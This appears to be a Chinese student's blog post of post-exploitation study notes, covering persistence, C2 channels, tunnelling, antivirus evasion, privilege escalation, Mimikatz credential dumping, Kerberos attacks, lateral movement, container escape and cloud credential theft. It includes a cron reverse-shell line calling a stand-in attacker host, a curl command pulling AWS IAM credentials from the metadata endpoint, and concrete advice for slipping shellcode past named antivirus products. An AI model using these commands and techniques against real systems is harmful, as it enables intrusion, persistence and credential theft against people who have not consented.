咸鱼的大学网络安全学习(五)

后渗透(Post-Exploitation)

一、 操作系统层面的固守与通道

  1. 持久化 (Persistence)

核心目的: 即使目标重启、打补丁或清理了最初的入口文件,你依然能随时重新连回来。
• Windows 常用手段:

◦ 注册表 Run 键: HKCU\Software\Microsoft\Windows\CurrentVersion\Run (最经典,但容易被EDR扫出来)。

◦ 计划任务 (Scheduled Tasks): 创建隐藏的每日/系统启动任务执行你的代码。

◦ 服务 (Services): 把你的 Malware 包装成一个 Windows Service 并设置自动启动。

◦ WMI 事件订阅: 极高隐蔽性,通过订阅系统事件(如开机、插USB)来触发你的 Payload。

◦ DLL 劫持: 找一个每天都会自启且调用特定 DLL 的合法软件,替换它的 DLL。

• Linux 常用手段:

◦ Cron Jobs: 写进 /etc/crontab 或用户的 crontab(*/5 * * * * bash -i >& /dev/tcp/attacker/443 0>&1)。

◦ Systemd Service: 在 /etc/systemd/system/ 下新建一个 .service 文件。

◦ Profile / Bashrc: 追加到 ~/.bashrc 或 /etc/profile.d/ 下的脚本里。

  1. 稳定通道 (Stable Channel)

痛点: 你用 nc 弹回来的 Shell 很容易假死、没法用 Tab 补全、没有 STDOUT,或者 IIS 进程一回收你的 Shell 就没了。
• 基础修复 (Linux): 通过 Python 升级为全交互式 TTY:
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z 放到后台 -> stty raw -echo; fg

• 进阶 (Windows): 用 MSFVenom 生成 Stage0 Payload 拿到初始 Shell 后,立刻用 Meterpreter 的 migrate 命令迁移到像 explorer.exe 或 svchost.exe 这种稳定且长期的进程中去,防止被杀。

  1. C&C (Command & Control / C2)

核心目的: 建立一条受控的、尽量伪装的“遥控链路”。
• 常见形态:

◦ HTTP/HTTPS 反向 Beacon: 最普遍(如 Cobalt Strike 的 Beacon)。流量长得像普通 HTTPS 网页浏览。

◦ DNS 隐蔽隧道: 当目标出网极严,只允许 DNS 查询时,用 iodine 把 TCP 流量封装在 DNS 请求里透出去。

◦ 域前置 (Domain Fronting): 利用高信誉 CDN(如 Azure、Cloudflare)的 Host 头来隐藏你的真实 Team Server IP。

二、 Web 方向的通道转发

  1. 正向代理 (Forward Proxy) — 拿内网当跳板

• 场景: 你的攻击机在外网,想用 SQLMap 或浏览器去扫内网的 192.168.10.x。

• 做法: 在已控的 DMZ 区 Web 服务器上丢一个 reGeorg (.ashx/.php) 或 Neo-reGeorg,它会把 HTTP 请求转成 SOCKS5 代理流量。

• 使用: 本地挂 proxychains 走 127.0.0.1:1080,就能对内网无感扫描。

  1. 反向代理 (Reverse Proxy) — 把内网服务拉出来

• 场景: 内网有一台 10.0.0.8 开着 3389 (RDP),你想在自己电脑上连它。

• 做法: 用 frp (fast reverse proxy) 或 EarthWorm (ew)。在目标内网机执行 frpc,让它主动连你的 VPS;VPS 的 frps 监听端口,你本地连 VPS 的端口就等于连到了内网那台机的 3389。

三、 Bypass (免杀与对抗)

核心逻辑: 杀软(AV / EDR)主要看三个东西:静态特征(文件哈希)、行为(API调用)、内存(是否有 RWX 内存段)。

• 针对 360 / 火绒 / 卡巴斯基 的通用绕过思路:

1. 无文件落地 (Fileless): 不用 .exe,全程用 PowerShell 或 VBS 脚本。把加密的 Shellcode 存在内存里直接跑(例如用 Invoke-Shellcode)。
2. 白名单借用 (LOLBins): 找有微软签名的合法程序(如 MSBuild.exe, InstallUtil.exe, regsvr32)来间接执行你的 C# 代码,骗过 360 的数字签名校验。
3. 自定义加载器 (Custom Loader): 用 C/Go 自己写一个加载器,把 msfvenom 生成的 shellcode 做 XOR 加密,运行时在内存里 VirtualAlloc -> memcpy -> CreateThread 执行。绝对不要用裸的 shikata_ga_nai。
• 工具链基础点:

◦ Veil: 老牌免杀框架(现在大多特征已被收录,适合学习原理)。

◦ Nishang / Powersploit: PowerShell 武器库(如 Get-PassHashes, Invoke-PortScan, Out-WmiQuery)。

◦ Unicorn: 把 MSF 的 Payload 转成 Powershell 脚本。

四、 权限 (Privilege Escalation & Account Context)

  1. 本地账户 vs 域账户

• 本地账户 (Local System / Administrator): 你吃下了这一台机器。但隔壁机器不认这台机器的 SAM 密码。

• 域账户 (Domain User -> Domain Admin): 一旦你在域内提到 DA(域管),整个域林里所有机器你都可以随意推管理员账号进去。

  1. 提权常用基石工具

• Windows - WinPEAS / Seatbelt / PowerUp: 自动化脚本,帮你看有没有:

◦ 没打补丁的内核漏洞(EternalBlue 类衍生思路)。

◦ 服务路径未加引号(Unquoted Service Path)。

◦ 当前用户有权限修改某服务的 ImagePath(Service Permissions)。

◦ 有 SeImpersonatePrivilege(Cookie/SweetPotato 土豆提权家族)。

• Linux - LinPEAS / lse.sh: 找 SUID 文件、可写 cron、sudo 滥用、内核 exploit。

• Mimikatz: 读 LSASS 进程内存,抓明文密码/NTLM Hash/TGT Ticket。如果开了 wdigest 且用户最近登录,能看到明文。

五、 内网信息收集与拓扑认知

  1. 信息收集(立足点之后的“开眼”)

• 系统自身:

◦ 网卡配置、路由表:ipconfig /all -> route print -> arp -a(看邻居)。

◦ 进程/DLL:tasklist /svc,看有没有杀毒、EDR、备份软件、数据库(这些往往是下一跳)。

◦ 配置文件收割:翻 web.config, .env, connectionstrings 找数据库连接串。

• 个人 PC 附加价值:

◦ 浏览器凭证(LaZagne)、RDP 保存的连接(SessionGopher)、微信/钉钉本地缓存(组织结构)。

• 域环境特供:

◦ net group "Domain Admins" /domain

◦ nltest /dclist: (找域控)

◦ BloodHound (SharpHound): 最核心的。它会爬取整张 AD 关系图(谁属于谁、谁能委派谁、谁能 DCSync),在 Neo4j 里给你算好最短提权路径(比如:你→某个组→对该机器有 GenericWrite→Shadow Creds→跳到 DC)。

  1. 六种基本网络拓扑结构(理论对照企业网)

• 物理上无非是 星型(最常见:接入交换机连核心)、树型(分层 VLAN)、网状(数据中心核心互备)。

• 实战里你怎么看拓扑? 不看连线,看 路由表 + ARP + 防火墙策略。你会体会到三个典型分区:

1. DMZ(有公网映射,你的第一落脚点)
2. 核心业务网(DB、中间件,一般单向隔离进不去 RDP)
3. 办公网 / IT 管理段(域控、WSUS、IT 人员 PC,往往是最软的一层)

六、 横向移动 (Lateral Movement)

  1. 普通环境(工作组 / 混杂)

• PTH (Pass-the-Hash): 抓到 Administrator 的 NTLM Hash 后,没必要破密码,直接用 impacket-psexec 或 wmiexec.py 拿别的机器的 Shell。

• 弱口令爆破 / 扫共享文件夹: 用 CrackMapExec (CME) 横扫同段 445。

  1. 零信任语境(Zero Trust)

• 传统“内网=可信”失效。你需要:

◦ 偷 JWT / OAuth Token / 证书(.pfx)。

◦ 找 云端元数据 (169.254.169.254) 偷 IAM 角色临时密钥。

◦ 目标转向应用层 API 逻辑缺陷(越权、SSO 信任链断裂)。

  1. 域渗透关键概念

• 什么是域控 (DC): 整个域的大脑,跑 AD DS,存着 ntds.dit(包含所有用户的密码 Hash)。

• Kerberos 提权主线:

1. Kerberoasting: 请求服务票据(TGS),拿回来离线爆破服务账户的密码。
2. AS-REP Roasting: 对不设“预认证”的账户直接要 TGT,也能爆破。
3. NTLM Relay / Delegation Abuse: 利用 Net-NTLM 中继到 LDAP/LDAPS,改写 ACL 加 DA。
4. DCSync / Golden Ticket: 一旦你拿下 krbtgt 账户的 Hash,你可以签任意用户的票据(永不过期的万能钥匙)。

七、 虚拟化与云 (Container / Cloud)

  1. 容器 (Docker)

• 判断: cat /.dockerenv 存在吗?ps aux 里进程极少吗?

• 逃逸基础条件:

◦ 容器以 --privileged 运行。

◦ 宿主机的磁盘挂载进了容器(docker run -v /:/host ...)。

◦ 这时你可以 chroot /host 直接改宿主机的 SSH 密钥或 Crontab。

  1. 云 (Cloud)

• 如果它在 AWS:

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
• 如果成功,你拿到的是临时的 AccessKey/Secret/Token,接下来可以用 Pacu 去枚举 S3 桶、Lambda、甚至给用户提权。

工具 定位

Metasploit (Meterpreter) 后渗透大一统总线(提权、抓密、 pivoting、persistence 脚本)

Mimikatz Windows 内存凭据提取器(Hash / Ticket / Cleartext)

Cobalt Strike (Beacon) 商业级 C2 框架,最适合团队大规模横向 + 社工 + 持久化编排

Empire / Starkiller PowerShell 无文件 C2(偏纯 PowerShell 生态)

Webshell 管理端 蚁剑 / 冰蝎 / 哥斯拉(DMZ 里最常用的“轻型持久化窗口”)

iodine DNS 隧道(出网只有 53 端口时的救命绳)

posted @ 2026-06-15 14:50  咸鱼9201  阅读(21)  评论(0)    收藏  举报